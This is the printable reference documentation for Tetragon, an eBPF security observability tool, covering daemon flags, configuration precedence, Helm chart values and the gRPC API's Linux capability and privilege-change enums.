This is the multi-page printable view of this section. Click here to print.
Reference
- 1: Daemon Configuration
- 2: Helm chart
- 3: gRPC API
- 4: Metrics
1 - Daemon Configuration
Tetragon default controlling settings are set during compilation, so configuration is only needed when it is necessary to deviate from those defaults. This document lists those controlling settings and how they can be set as a CLI arguments or as configuration options from YAML files.
Options
The following table list all Tetragon daemon available options and is
automatically generated using the tetragon binary --generate-docs
flag. The
same information can also be retrieved using --help
.
Flag | Usage | Default Value |
---|---|---|
--bpf-dir | Set tetragon bpf directory (default 'tetragon') | tetragon |
--bpf-lib | Location of Tetragon libs (btf and bpf files) | /var/lib/tetragon/ |
--btf | Location of btf | |
--cgroup-rate | Base sensor events cgroup rate <events,interval> disabled by default ('1000,1s' means rate 1000 events per second) | |
--cluster-name | Name of the cluster where Tetragon is installed | |
--config-dir | Configuration directory that contains a file for each option | |
--cpuprofile | Store CPU profile into provided file | |
--cri-endpoint | CRI endpoint | |
--data-cache-size | Size of the data events cache | 1024 |
--debug | Enable debug messages. Equivalent to '--log-level=debug' | false |
--disable-kprobe-multi | Allow to disable kprobe multi interface | false |
--enable-cgidmap | enable pod resolution via cgroup ids | false |
--enable-cgidmap-debug | enable cgidmap debugging info | false |
--enable-cgtrackerid | enable cgroup tracker id (only used if 'enable-cgidmap' is set) | true |
--enable-compatibility-syscall64-size-type | syscall64 type will produce output of type size (compatibility flag, will be removed in v1.4) | false |
--enable-cri | enable CRI client for tetragon | false |
--enable-export-aggregation | Enable JSON export aggregation | false |
--enable-k8s-api | Access Kubernetes API to associate Tetragon events with Kubernetes pods | false |
--enable-msg-handling-latency | Enable metrics for message handling latency | false |
--enable-pid-set-filter | Enable pidSet export filters. Not recommended for production use | false |
--enable-pod-info | Enable PodInfo custom resource | false |
--enable-policy-filter | Enable policy filter code | false |
--enable-policy-filter-debug | Enable policy filter debug messages | false |
--enable-process-cred | Enable process_cred events | false |
--enable-process-ns | Enable namespace information in process_exec and process_kprobe events | false |
--enable-tracing-policy-crd | Enable TracingPolicy and TracingPolicyNamespaced custom resources | true |
--event-cache-retries | Number of retries for event cache | 15 |
--event-cache-retry-delay | Delay in seconds between event cache retries | 2 |
--event-queue-size | Set the size of the internal event queue. | 10000 |
--export-aggregation-buffer-size | Aggregator channel buffer size | 10000 |
--export-aggregation-window-size | JSON export aggregation time window | 15s |
--export-allowlist | JSON export allowlist | |
--export-denylist | JSON export denylist | |
--export-file-compress | Compress rotated JSON export files | false |
--export-file-max-backups | Number of rotated JSON export files to retain | 5 |
--export-file-max-size-mb | Size in MB for rotating JSON export files | 10 |
--export-file-perm | Access permissions on JSON export files | 600 |
--export-file-rotation-interval | Interval at which to rotate JSON export files in addition to rotating them by size | 0s |
--export-filename | Filename for JSON export. Disabled by default | |
--export-rate-limit | Rate limit (per minute) for event export. Set to -1 to disable | -1 |
--expose-stack-addresses | Expose real linear addresses in events stack traces | false |
--field-filters | Field filters for event exports | |
--force-large-progs | Force loading large programs, even in kernels with < 5.3 versions | false |
--force-small-progs | Force loading small programs, even in kernels with >= 5.3 versions | false |
--generate-docs | Generate documentation in YAML format to stdout | false |
--gops-address | gops server address (e.g. 'localhost:8118'). Disabled by default | |
--health-server-address | Health server address (e.g. ':6789')(use '' to disabled it) | :6789 |
--health-server-interval | Health server interval in seconds | 10 |
--help | help for tetragon | false |
--k8s-kubeconfig-path | Absolute path of the kubernetes kubeconfig file | |
--keep-sensors-on-exit | Do not unload sensors on exit | false |
--kernel | Kernel version | |
--log-format | Set log format | text |
--log-level | Set log level | info |
--memprofile | Store MEM profile into provided file | |
--metrics-label-filter | Comma-separated list of enabled metrics labels. Unknown labels will be ignored. | namespace,workload,pod,binary |
--metrics-server | Metrics server address (e.g. ':2112'). Disabled by default | |
--netns-dir | Network namespace dir | /var/run/docker/netns/ |
--pprof-address | Serves runtime profile data via HTTP (e.g. 'localhost:6060'). Disabled by default | |
--process-cache-gc-interval | Time between checking the process cache for old entries | 30s |
--process-cache-size | Size of the process cache | 65536 |
--procfs | Location of procfs to consume existing PIDs | /proc/ |
--rb-queue-size | Set size of channel between ring buffer and sensor go routines (default 65k, allows K/M/G suffix) | 65535 |
--rb-size | Set perf ring buffer size for single cpu (default 65k, allows K/M/G suffix) | 0 |
--rb-size-total | Set perf ring buffer size in total for all cpus (default 65k per cpu, allows K/M/G suffix) | 0 |
--redaction-filters | Redaction filters for events | |
--release-pinned-bpf | Release all pinned BPF programs and maps in Tetragon BPF directory. Enabled by default. Set to false to disable | true |
--server-address | gRPC server address (e.g. 'localhost:54321' or 'unix:///var/run/tetragon/tetragon.sock'). An empty address disables the gRPC server | localhost:54321 |
--tracing-policy | Tracing policy file to load at startup | |
--tracing-policy-dir | Directory from where to load Tracing Policies | /etc/tetragon/tetragon.tp.d |
--username-metadata | Resolve UIDs to user names for processes running in host namespace | disabled |
--verbose | set verbosity level for eBPF verifier dumps. Pass 0 for silent, 1 for truncated logs, 2 for a full dump | 0 |
Configuration precedence
Tetragon controlling settings can also be loaded from YAML configuration files according to this order:
From the drop-in configuration snippets inside the following directories where each filename maps to one controlling setting and the content of the file to its corresponding value:
/usr/lib/tetragon/tetragon.conf.d/*
/usr/local/lib/tetragon/tetragon.conf.d/*
From the configuration file
/etc/tetragon/tetragon.yaml
if available, overriding previous settings.From the drop-in configuration snippets inside
/etc/tetragon/tetragon.conf.d/*
, similarly overriding previous settings.If the
config-dir
setting is set, Tetragon loads its settings from the files inside the directory pointed by this option, overriding previous controlling settings. Theconfig-dir
is also part of Kubernetes ConfigMap.
When reading configuration from directories, each filename maps to one controlling setting. If the same controlling setting is set multiple times, then the last value or content of that file overrides the previous ones.
To summarize the configuration precedence:
Drop-in directory pointed by
--config-dir
.Drop-in directory
/etc/tetragon/tetragon.conf.d/*
.Configuration file
/etc/tetragon/tetragon.yaml
.Drop-in directories:
/usr/local/lib/tetragon/tetragon.conf.d/*
/usr/lib/tetragon/tetragon.conf.d/*
To clear a controlling setting that was set before, set it again to an empty value.
Package managers can customize the configuration by installing drop-ins under
/usr/
. Configurations in /etc/tetragon/
are strictly reserved for the local
administrator, who may use this logic to override package managers or the
default installed configuration.
Configuration examples
The examples/configuration/tetragon.yaml
file contains example entries showing the defaults as a guide to the
administrator. Local overrides can be created by editing and copying this file
into /etc/tetragon/tetragon.yaml
, or by editing and copying “drop-ins” from
the examples/configuration/tetragon.conf.d
directory into the /etc/tetragon/tetragon.conf.d/
subdirectory. The latter is
generally recommended.
Each filename maps to a one controlling setting and the content of the file to its corresponding value. This is the recommended way.
Changing configuration example:
/etc/tetragon/tetragon.conf.d/bpf-lib
with a corresponding value of:/var/lib/tetragon/
/etc/tetragon/tetragon.conf.d/log-format
with a corresponding value of:text
/etc/tetragon/tetragon.conf.d/export-filename
with a corresponding value of:/var/log/tetragon/tetragon.log
/etc/tetragon/tetragon.yaml
and all drop-ins under /etc/tetragon/tetragon.conf.d/
Restrict gRPC API access
The gRPC API supports unix sockets, it can be set using one of the following methods:
Use the
--server-address
flag:--server-address unix:///var/run/tetragon/tetragon.sock
Or use the drop-in configuration file
/etc/tetragon/tetragon.conf.d/server-address
containing:unix:///var/run/tetragon/tetragon.sock
Then to access the gRPC API with tetra
client, set --server-address
to point to the corresponding address:
sudo tetra --server-address unix:///var/run/tetragon/tetragon.sock getevents
tetra
client, if --server-address
is not specified,
it will try to detect if Tetragon daemon is running on the same host and use its
server-address
configuration.Configure Tracing Policies location
Tetragon daemon automatically loads Tracing policies from the default /etc/tetragon/tetragon.tp.d/
directory. Tracing policies can be organized in directories such: /etc/tetragon/tetragon.tp.d/file-access
, /etc/tetragon/tetragon.tp.d/network-access
, etc.
The --tracing-policy-dir
controlling setting can be used to change the default directory from where Tracing policies are loaded.
The --tracing-policy
controlling setting can be used to specify the path of one tracing policy to load.
2 - Helm chart
The Tetragon Helm chart source is available under github.io/cilium/tetragon/install/kubernetes/tetragon and is distributed from the Cilium helm charts repository helm.cilium.io.
To deploy Tetragon using this Helm chart you can run the following commands:
helm repo add cilium https://helm.cilium.io
helm repo update
helm install tetragon cilium/tetragon -n kube-system
To use the values available, with helm install
or helm upgrade
, use --set key=value
.
Values
Key | Type | Default | Description |
---|---|---|---|
affinity | object | {} | |
crds.installMethod | string | "operator" | Method for installing CRDs. Supported values are: “operator”, “helm” and “none”. The “operator” method allows for fine-grained control over which CRDs are installed and by default doesn’t perform CRD downgrades. These can be configured in tetragonOperator section. The “helm” method always installs all CRDs for the chart version. |
daemonSetAnnotations | object | {} | |
daemonSetLabelsOverride | object | {} | |
dnsPolicy | string | "Default" | DNS policy for Tetragon pods. https://kubernetes.io/docs/concepts/services-networking/dns-pod-service/#pod-s-dns-policy |
enabled | bool | true | |
export | object | {"filenames":["tetragon.log"],"mode":"stdout","resources":{},"securityContext":{},"stdout":{"argsOverride":[],"commandOverride":[],"enabledArgs":true,"enabledCommand":true,"extraEnv":[],"extraVolumeMounts":[],"image":{"override":null,"repository":"quay.io/cilium/hubble-export-stdout","tag":"v1.0.4"}}} | Tetragon events export settings |
exportDirectory | string | "/var/run/cilium/tetragon" | Directory to put Tetragon JSON export files. |
extraConfigmapMounts | list | [] | |
extraHostPathMounts | list | [] | |
extraVolumes | list | [] | |
hostNetwork | bool | true | Configures whether Tetragon pods run on the host network. IMPORTANT: Tetragon must be on the host network for the process visibility to function properly. |
imagePullPolicy | string | "IfNotPresent" | |
imagePullSecrets | list | [] | |
nodeSelector | object | {} | |
podAnnotations | object | {} | |
podLabels | object | {} | |
podLabelsOverride | object | {} | |
podSecurityContext | object | {} | |
priorityClassName | string | "" | |
rthooks | object | {"annotations":{},"enabled":false,"extraHookArgs":{},"extraLabels":{},"extraVolumeMounts":[],"failAllowNamespaces":"","image":{"override":null,"repository":"quay.io/cilium/tetragon-rthooks","tag":"v0.4"},"installDir":"/opt/tetragon","interface":"","nriHook":{"nriSocket":"/var/run/nri/nri.sock"},"ociHooks":{"hooksPath":"/usr/share/containers/oci/hooks.d"},"podAnnotations":{},"podSecurityContext":{},"priorityClassName":"","resources":{},"serviceAccount":{"name":""}} | Method for installing Tetagon rthooks (tetragon-rthooks) daemonset The tetragon-rthooks daemonset is responsible for installing run-time hooks on the host. See: https://tetragon.io/docs/concepts/runtime-hooks |
rthooks.annotations | object | {} | Annotations for the Tetragon rthooks daemonset |
rthooks.enabled | bool | false | Enable the Tetragon rthooks daemonset |
rthooks.extraHookArgs | object | {} | extra args to pass to tetragon-oci-hook |
rthooks.extraLabels | object | {} | Extra labels for the Tetrargon rthooks daemonset |
rthooks.extraVolumeMounts | list | [] | Extra volume mounts to add to the oci-hook-setup init container |
rthooks.failAllowNamespaces | string | "" | Comma-separated list of namespaces to allow Pod creation for, in case tetragon-oci-hook fails to reach Tetragon agent. The namespace Tetragon is deployed in is always added as an exception and must not be added again. |
rthooks.image | object | {"override":null,"repository":"quay.io/cilium/tetragon-rthooks","tag":"v0.4"} | image for the Tetragon rthooks pod |
rthooks.installDir | string | "/opt/tetragon" | installDir is the host location where the tetragon-oci-hook binary will be installed |
rthooks.interface | string | "" | Method to use for installing rthooks. Values: “oci-hooks”: Add an apppriate file to “/usr/share/containers/oci/hooks.d”. Use this with CRI-O. See https://github.com/containers/common/blob/main/pkg/hooks/docs/oci-hooks.5.md for more details. Specific configuration for this interface can be found under “OciHooks”. “nri-hook”: Install the hook via NRI. Use this with containerd. Requires NRI being enabled. see: https://github.com/containerd/containerd/blob/main/docs/NRI.md. |
rthooks.nriHook | object | {"nriSocket":"/var/run/nri/nri.sock"} | configuration for the “nri-hook” interface |
rthooks.nriHook.nriSocket | string | "/var/run/nri/nri.sock" | path to NRI socket |
rthooks.ociHooks | object | {"hooksPath":"/usr/share/containers/oci/hooks.d"} | configuration for “oci-hooks” interface |
rthooks.ociHooks.hooksPath | string | "/usr/share/containers/oci/hooks.d" | directory to install .json file for running the hook |
rthooks.podAnnotations | object | {} | Pod annotations for the Tetrargon rthooks pod |
rthooks.podSecurityContext | object | {} | security context for the Tetrargon rthooks pod |
rthooks.priorityClassName | string | "" | priorityClassName for the Tetrargon rthooks pod |
rthooks.resources | object | {} | resources for the the oci-hook-setup init container |
rthooks.serviceAccount | object | {"name":""} | rthooks service account. |
selectorLabelsOverride | object | {} | |
serviceAccount.annotations | object | {} | |
serviceAccount.create | bool | true | |
serviceAccount.name | string | "" | |
serviceLabelsOverride | object | {} | |
tetragon.argsOverride | list | [] | Override the arguments. For advanced users only. |
tetragon.btf | string | "" | |
tetragon.clusterName | string | "" | Name of the cluster where Tetragon is installed. Tetragon uses this value to set the cluster_name field in GetEventsResponse messages. |
tetragon.commandOverride | list | [] | Override the command. For advanced users only. |
tetragon.debug | bool | false | If you want to run Tetragon in debug mode change this value to true |
tetragon.enableK8sAPI | bool | true | Access Kubernetes API to associate Tetragon events with Kubernetes pods. |
tetragon.enableKeepSensorsOnExit | bool | false | Persistent enforcement to allow the enforcement policy to continue running even when its Tetragon process is gone. |
tetragon.enableMsgHandlingLatency | bool | false | Enable latency monitoring in message handling |
tetragon.enablePolicyFilter | bool | true | Enable policy filter. This is required for K8s namespace and pod-label filtering. |
tetragon.enablePolicyFilterDebug | bool | false | Enable policy filter debug messages. |
tetragon.enableProcessCred | bool | false | Enable Capabilities visibility in exec and kprobe events. |
tetragon.enableProcessNs | bool | false | Enable Namespaces visibility in exec and kprobe events. |
tetragon.enabled | bool | true | |
tetragon.eventCacheRetries | int | 15 | Configure the number of retries in tetragon’s event cache. |
tetragon.eventCacheRetryDelay | int | 2 | Configure the delay (in seconds) between retires in tetragon’s event cache. |
tetragon.exportAllowList | string | "{\"event_set\":[\"PROCESS_EXEC\", \"PROCESS_EXIT\", \"PROCESS_KPROBE\", \"PROCESS_UPROBE\", \"PROCESS_TRACEPOINT\", \"PROCESS_LSM\"]}" | Allowlist for JSON export. For example, to export only process_connect events from the default namespace: exportAllowList: |
tetragon.exportDenyList | string | "{\"health_check\":true}\n{\"namespace\":[\"\", \"cilium\", \"kube-system\"]}" | Denylist for JSON export. For example, to exclude exec events that look similar to Kubernetes health checks and all the events from kube-system namespace and the host: exportDenyList: |
tetragon.exportFileCompress | bool | false | Compress rotated JSON export files. |
tetragon.exportFileMaxBackups | int | 5 | Number of rotated files to retain. |
tetragon.exportFileMaxSizeMB | int | 10 | Size in megabytes at which to rotate JSON export files. |
tetragon.exportFilePerm | string | "600" | JSON export file permissions as a string. Typically it’s either “600” (to restrict access to owner) or “640”/“644” (to allow read access by logs collector or another agent). |
tetragon.exportFilename | string | "tetragon.log" | JSON export filename. Set it to an empty string to disable JSON export altogether. |
tetragon.exportRateLimit | int | -1 | Rate-limit event export (events per minute), Set to -1 to export all events. |
tetragon.extraArgs | object | {} | |
tetragon.extraEnv | list | [] | |
tetragon.extraVolumeMounts | list | [] | |
tetragon.fieldFilters | string | "" | Filters to include or exclude fields from Tetragon events. Without any filters, all fields are included by default. The presence of at least one inclusion filter implies default-exclude (i.e. any fields that don’t match an inclusion filter will be excluded). Field paths are expressed using dot notation like “a.b.c” and multiple field paths can be separated by commas like “a.b.c,d,e.f”. An optional “event_set” may be specified to apply the field filter to a specific set of events. For example, to exclude the “parent” field from all events and include the “process” field in PROCESS_KPROBE events while excluding all others: fieldFilters: |
tetragon.gops.address | string | "localhost" | The address at which to expose gops. |
tetragon.gops.enabled | bool | true | Whether to enable exposing gops server. |
tetragon.gops.port | int | 8118 | The port at which to expose gops. |
tetragon.grpc.address | string | "localhost:54321" | The address at which to expose gRPC. Examples: localhost:54321, unix:///var/run/cilum/tetragon/tetragon.sock |
tetragon.grpc.enabled | bool | true | Whether to enable exposing Tetragon gRPC. |
tetragon.healthGrpc.enabled | bool | true | Whether to enable health gRPC server. |
tetragon.healthGrpc.interval | int | 10 | The interval at which to check the health of the agent. |
tetragon.healthGrpc.port | int | 6789 | The port at which to expose health gRPC. |
tetragon.hostProcPath | string | "/proc" | Location of the host proc filesystem in the runtime environment. If the runtime runs in the host, the path is /proc. Exceptions to this are environments like kind, where the runtime itself does not run on the host. |
tetragon.image.override | string | nil | |
tetragon.image.repository | string | "quay.io/cilium/tetragon" | |
tetragon.image.tag | string | "v1.2.1" | |
tetragon.livenessProbe | object | {} | Overrides the default livenessProbe for the tetragon container. |
tetragon.ociHookSetup | object | {"enabled":false,"extraVolumeMounts":[],"failAllowNamespaces":"","installDir":"/opt/tetragon","interface":"oci-hooks","resources":{},"securityContext":{"privileged":true}} | Configure tetragon’s init container for setting up tetragon-oci-hook on the host NOTE: This is deprecated, please use .rthooks |
tetragon.ociHookSetup.enabled | bool | false | enable init container to setup tetragon-oci-hook |
tetragon.ociHookSetup.extraVolumeMounts | list | [] | Extra volume mounts to add to the oci-hook-setup init container |
tetragon.ociHookSetup.failAllowNamespaces | string | "" | Comma-separated list of namespaces to allow Pod creation for, in case tetragon-oci-hook fails to reach Tetragon agent. The namespace Tetragon is deployed in is always added as an exception and must not be added again. |
tetragon.ociHookSetup.interface | string | "oci-hooks" | interface specifices how the hook is configured. There is only one avaialble value for now: “oci-hooks” (https://github.com/containers/common/blob/main/pkg/hooks/docs/oci-hooks.5.md). |
tetragon.ociHookSetup.resources | object | {} | resources for the the oci-hook-setup init container |
tetragon.ociHookSetup.securityContext | object | {"privileged":true} | Security context for oci-hook-setup init container |
tetragon.pprof.address | string | "localhost" | The address at which to expose pprof. |
tetragon.pprof.enabled | bool | false | Whether to enable exposing pprof server. |
tetragon.pprof.port | int | 6060 | The port at which to expose pprof. |
tetragon.processCacheGCInterval | string | "30s" | Configure the interval (suffixed with s for seconds, m for minutes, etc) for the process cache garbage collector. |
tetragon.processCacheSize | int | 65536 | Tetragon puts processes in an LRU cache. The cache is used to find ancestors for subsequently exec’ed processes. |
tetragon.prometheus.address | string | "" | The address at which to expose metrics. Set it to "" to expose on all available interfaces. |
tetragon.prometheus.enabled | bool | true | Whether to enable exposing Tetragon metrics. |
tetragon.prometheus.metricsLabelFilter | string | "namespace,workload,pod,binary" | Comma-separated list of enabled metrics labels. The configurable labels are: namespace, workload, pod, binary. Unkown labels will be ignored. Removing some labels from the list might help reduce the metrics cardinality if needed. |
tetragon.prometheus.port | int | 2112 | The port at which to expose metrics. |
tetragon.prometheus.serviceMonitor.enabled | bool | false | Whether to create a ‘ServiceMonitor’ resource targeting the tetragon pods. |
tetragon.prometheus.serviceMonitor.extraLabels | object | {} | Extra labels to be added on the Tetragon ServiceMonitor. |
tetragon.prometheus.serviceMonitor.labelsOverride | object | {} | The set of labels to place on the ‘ServiceMonitor’ resource. |
tetragon.prometheus.serviceMonitor.scrapeInterval | string | "10s" | Interval at which metrics should be scraped. If not specified, Prometheus’ global scrape interval is used. |
tetragon.redactionFilters | string | "" | Filters to redact secrets from the args fields in Tetragon events. To perform redactions, redaction filters define RE2 regular expressions in the redact field. Any capture groups in these RE2 regular expressions are redacted and replaced with “*****”. For more control, you can select which binary or binaries should have their arguments redacted with the binary_regex field. NOTE: This feature uses RE2 as its regular expression library. Make sure that you follow RE2 regular expression guidelines as you may observe unexpected results otherwise. More information on RE2 syntax can be found here. NOTE: When writing regular expressions in JSON, it is important to escape backslash characters. For instance \Wpasswd\W? would be written as {"redact": "\\Wpasswd\\W?"} . As a concrete example, the following will redact all passwords passed to processes with the “–password” argument: {“redact”: ["–password(?:\s+ |
tetragon.resources | object | {} | |
tetragon.securityContext.privileged | bool | true | |
tetragonOperator.affinity | object | {} | |
tetragonOperator.annotations | object | {} | Annotations for the Tetragon Operator Deployment. |
tetragonOperator.enabled | bool | true | Enables the Tetragon Operator. |
tetragonOperator.extraLabels | object | {} | Extra labels to be added on the Tetragon Operator Deployment. |
tetragonOperator.extraPodLabels | object | {} | Extra labels to be added on the Tetragon Operator Deployment Pods. |
tetragonOperator.extraVolumeMounts | list | [] | |
tetragonOperator.extraVolumes | list | [] | Extra volumes for the Tetragon Operator Deployment. |
tetragonOperator.forceUpdateCRDs | bool | false | |
tetragonOperator.image | object | {"override":null,"pullPolicy":"IfNotPresent","repository":"quay.io/cilium/tetragon-operator","tag":"v1.2.1"} | tetragon-operator image. |
tetragonOperator.nodeSelector | object | {} | Steer the Tetragon Operator Deployment Pod placement via nodeSelector, tolerations and affinity rules. |
tetragonOperator.podAnnotations | object | {} | Annotations for the Tetragon Operator Deployment Pods. |
tetragonOperator.podInfo.enabled | bool | false | Enables the PodInfo CRD and the controller that reconciles PodInfo custom resources. |
tetragonOperator.podSecurityContext | object | {"allowPrivilegeEscalation":false,"capabilities":{"drop":["ALL"]}} | securityContext for the Tetragon Operator Deployment Pod container. |
tetragonOperator.priorityClassName | string | "" | priorityClassName for the Tetragon Operator Deployment Pods. |
tetragonOperator.prometheus.address | string | "" | The address at which to expose Tetragon Operator metrics. Set it to "" to expose on all available interfaces. |
tetragonOperator.prometheus.enabled | bool | true | Enables the Tetragon Operator metrics. |
tetragonOperator.prometheus.port | int | 2113 | The port at which to expose metrics. |
tetragonOperator.prometheus.serviceMonitor.enabled | bool | false | Whether to create a ‘ServiceMonitor’ resource targeting the tetragonOperator pods. |
tetragonOperator.prometheus.serviceMonitor.extraLabels | object | {} | Extra labels to be added on the Tetragon Operator ServiceMonitor. |
tetragonOperator.prometheus.serviceMonitor.labelsOverride | object | {} | The set of labels to place on the ‘ServiceMonitor’ resource. |
tetragonOperator.prometheus.serviceMonitor.scrapeInterval | string | "10s" | Interval at which metrics should be scraped. If not specified, Prometheus’ global scrape interval is used. |
tetragonOperator.resources | object | {"limits":{"cpu":"500m","memory":"128Mi"},"requests":{"cpu":"10m","memory":"64Mi"}} | resources for the Tetragon Operator Deployment Pod container. |
tetragonOperator.securityContext | object | {} | securityContext for the Tetragon Operator Deployment Pods. |
tetragonOperator.serviceAccount | object | {"annotations":{},"create":true,"name":""} | tetragon-operator service account. |
tetragonOperator.strategy | object | {} | resources for the Tetragon Operator Deployment update strategy |
tetragonOperator.tolerations[0].operator | string | "Exists" | |
tetragonOperator.tracingPolicy.enabled | bool | true | Enables the TracingPolicy and TracingPolicyNamespaced CRD creation. |
tolerations[0].operator | string | "Exists" | |
updateStrategy | object | {} |
3 - gRPC API
The Tetragon API is an independant Go module that can be found in the Tetragon repository under api. The version 1 of this API is defined in github.com/cilium/tetragon/api/v1/tetragon.
tetragon/capabilities.proto
CapabilitiesType
Name | Number | Description |
---|---|---|
CAP_CHOWN | 0 | In a system with the [_POSIX_CHOWN_RESTRICTED] option defined, this overrides the restriction of changing file ownership and group ownership. |
DAC_OVERRIDE | 1 | Override all DAC access, including ACL execute access if [_POSIX_ACL] is defined. Excluding DAC access covered by CAP_LINUX_IMMUTABLE. |
CAP_DAC_READ_SEARCH | 2 | Overrides all DAC restrictions regarding read and search on files and directories, including ACL restrictions if [_POSIX_ACL] is defined. Excluding DAC access covered by "$1"_LINUX_IMMUTABLE. |
CAP_FOWNER | 3 | Overrides all restrictions about allowed operations on files, where file owner ID must be equal to the user ID, except where CAP_FSETID is applicable. It doesn't override MAC and DAC restrictions. |
CAP_FSETID | 4 | Overrides the following restrictions that the effective user ID shall match the file owner ID when setting the S_ISUID and S_ISGID bits on that file; that the effective group ID (or one of the supplementary group IDs) shall match the file owner ID when setting the S_ISGID bit on that file; that the S_ISUID and S_ISGID bits are cleared on successful return from chown(2) (not implemented). |
CAP_KILL | 5 | Overrides the restriction that the real or effective user ID of a process sending a signal must match the real or effective user ID of the process receiving the signal. |
CAP_SETGID | 6 | Allows forged gids on socket credentials passing. |
CAP_SETUID | 7 | Allows forged pids on socket credentials passing. |
CAP_SETPCAP | 8 | Without VFS support for capabilities: Transfer any capability in your permitted set to any pid, remove any capability in your permitted set from any pid With VFS support for capabilities (neither of above, but) Add any capability from current's capability bounding set to the current process' inheritable set Allow taking bits out of capability bounding set Allow modification of the securebits for a process |
CAP_LINUX_IMMUTABLE | 9 | Allow modification of S_IMMUTABLE and S_APPEND file attributes |
CAP_NET_BIND_SERVICE | 10 | Allows binding to ATM VCIs below 32 |
CAP_NET_BROADCAST | 11 | Allow broadcasting, listen to multicast |
CAP_NET_ADMIN | 12 | Allow activation of ATM control sockets |
CAP_NET_RAW | 13 | Allow binding to any address for transparent proxying (also via NET_ADMIN) |
CAP_IPC_LOCK | 14 | Allow mlock and mlockall (which doesn't really have anything to do with IPC) |
CAP_IPC_OWNER | 15 | Override IPC ownership checks |
CAP_SYS_MODULE | 16 | Insert and remove kernel modules - modify kernel without limit |
CAP_SYS_RAWIO | 17 | Allow sending USB messages to any device via /dev/bus/usb |
CAP_SYS_CHROOT | 18 | Allow use of chroot() |
CAP_SYS_PTRACE | 19 | Allow ptrace() of any process |
CAP_SYS_PACCT | 20 | Allow configuration of process accounting |
CAP_SYS_ADMIN | 21 | Allow everything under CAP_BPF and CAP_PERFMON for backward compatibility |
CAP_SYS_BOOT | 22 | Allow use of reboot() |
CAP_SYS_NICE | 23 | Allow setting cpu affinity on other processes |
CAP_SYS_RESOURCE | 24 | Control memory reclaim behavior |
CAP_SYS_TIME | 25 | Allow setting the real-time clock |
CAP_SYS_TTY_CONFIG | 26 | Allow vhangup() of tty |
CAP_MKNOD | 27 | Allow the privileged aspects of mknod() |
CAP_LEASE | 28 | Allow taking of leases on files |
CAP_AUDIT_WRITE | 29 | Allow writing the audit log via unicast netlink socket |
CAP_AUDIT_CONTROL | 30 | Allow configuration of audit via unicast netlink socket |
CAP_SETFCAP | 31 | Set or remove capabilities on files |
CAP_MAC_OVERRIDE | 32 | Override MAC access. The base kernel enforces no MAC policy. An LSM may enforce a MAC policy, and if it does and it chooses to implement capability based overrides of that policy, this is the capability it should use to do so. |
CAP_MAC_ADMIN | 33 | Allow MAC configuration or state changes. The base kernel requires no MAC configuration. An LSM may enforce a MAC policy, and if it does and it chooses to implement capability based checks on modifications to that policy or the data required to maintain it, this is the capability it should use to do so. |
CAP_SYSLOG | 34 | Allow configuring the kernel's syslog (printk behaviour) |
CAP_WAKE_ALARM | 35 | Allow triggering something that will wake the system |
CAP_BLOCK_SUSPEND | 36 | Allow preventing system suspends |
CAP_AUDIT_READ | 37 | Allow reading the audit log via multicast netlink socket |
CAP_PERFMON | 38 | Allow system performance and observability privileged operations using perf_events, i915_perf and other kernel subsystems |
CAP_BPF | 39 | CAP_BPF allows the following BPF operations: - Creating all types of BPF maps - Advanced verifier features - Indirect variable access - Bounded loops - BPF to BPF function calls - Scalar precision tracking - Larger complexity limits - Dead code elimination - And potentially other features - Loading BPF Type Format (BTF) data - Retrieve xlated and JITed code of BPF programs - Use bpf_spin_lock() helper CAP_PERFMON relaxes the verifier checks further: - BPF progs can use of pointer-to-integer conversions - speculation attack hardening measures are bypassed - bpf_probe_read to read arbitrary kernel memory is allowed - bpf_trace_printk to print kernel memory is allowed CAP_SYS_ADMIN is required to use bpf_probe_write_user. CAP_SYS_ADMIN is required to iterate system wide loaded programs, maps, links, BTFs and convert their IDs to file descriptors. CAP_PERFMON and CAP_BPF are required to load tracing programs. CAP_NET_ADMIN and CAP_BPF are required to load networking programs. |
CAP_CHECKPOINT_RESTORE | 40 | Allow writing to ns_last_pid |
ProcessPrivilegesChanged
Reasons of why the process privileges changed.
Name | Number | Description |
---|---|---|
PRIVILEGES_CHANGED_UNSET | 0 | |
PRIVILEGES_RAISED_EXEC_FILE_CAP | 1 | A privilege elevation happened due to the execution of a binary with file capability sets. The kernel supports associating capability sets with an executable file using setcap command. The file capability sets are stored in an extended attribute (see https://man7.org/linux/man-pages/man7/xattr.7.html) named security.capability . The file capability sets, in conjunction with the capability sets of the process, determine the process capabilities and privileges after the execve system call. For further reference, please check sections File capability extended attribute versioning and Namespaced file capabilities of the capabilities man pages: https://man7.org/linux/man-pages/man7/capabilities.7.html. The new granted capabilities can be listed inside the process object. |
PRIVILEGES_RAISED_EXEC_FILE_SETUID | 2 | A privilege elevation happened due to the execution of a binary with set-user-ID to root. When a process with nonzero UIDs executes a binary with a set-user-ID to root also known as suid-root executable, then the kernel switches the effective user ID to 0 (root) which is a privilege elevation operation since it grants access to resources owned by the root user. The effective user ID is listed inside the process_credentials part of the process object. For further reading, section Capabilities and execution of programs by root of https://man7.org/linux/man-pages/man7/capabilities.7.html. Afterward the kernel recalculates the capability sets of the process and grants all capabilities in the permitted and effective capability sets, except those masked out by the capability bounding set. If the binary also have file capability sets then these bits are honored and the process gains just the capabilities granted by the file capability sets (i.e., not all capabilities, as it would occur when executing a set-user-ID to root binary that does not have any associated file capabilities). This is described in section Set-user-ID-root programs that have file capabilities of https://man7.org/linux/man-pages/man7/capabilities.7.html. The new granted capabilities can be listed inside the process object. There is one exception for the special treatments of set-user-ID to root execution receiving all capabilities, if the SecBitNoRoot bit of the Secure bits is set, then the kernel does not grant any capability. Please check section: The securebits flags: establishing a capabilities-only environment of the capabilities man pages: https://man7.org/linux/man-pages/man7/capabilities.7.html |
PRIVILEGES_RAISED_EXEC_FILE_SETGID | 3 | A privilege elevation happened due to the execution of a binary with set-group-ID to root. When a process with nonzero GIDs executes a binary with a set-group-ID to root, the kernel switches the effective group ID to 0 (root) which is a privilege elevation operation since it grants access to resources owned by the root group. The effective group ID is listed inside the process_credentials part of the process object. |
SecureBitsType
Name | Number | Description |
---|---|---|
SecBitNotSet | 0 | |
SecBitNoRoot | 1 | When set UID 0 has no special privileges. When unset, inheritance of root-permissions and suid-root executable under compatibility mode is supported. If the effective uid of the new process is 0 then the effective and inheritable bitmasks of the executable file is raised. If the real uid is 0, the effective (legacy) bit of the executable file is raised. |
SecBitNoRootLocked | 2 | Make bit-0 SecBitNoRoot immutable |
SecBitNoSetUidFixup | 4 | When set, setuid to/from uid 0 does not trigger capability-"fixup". When unset, to provide compatiblility with old programs relying on set*uid to gain/lose privilege, transitions to/from uid 0 cause capabilities to be gained/lost. |
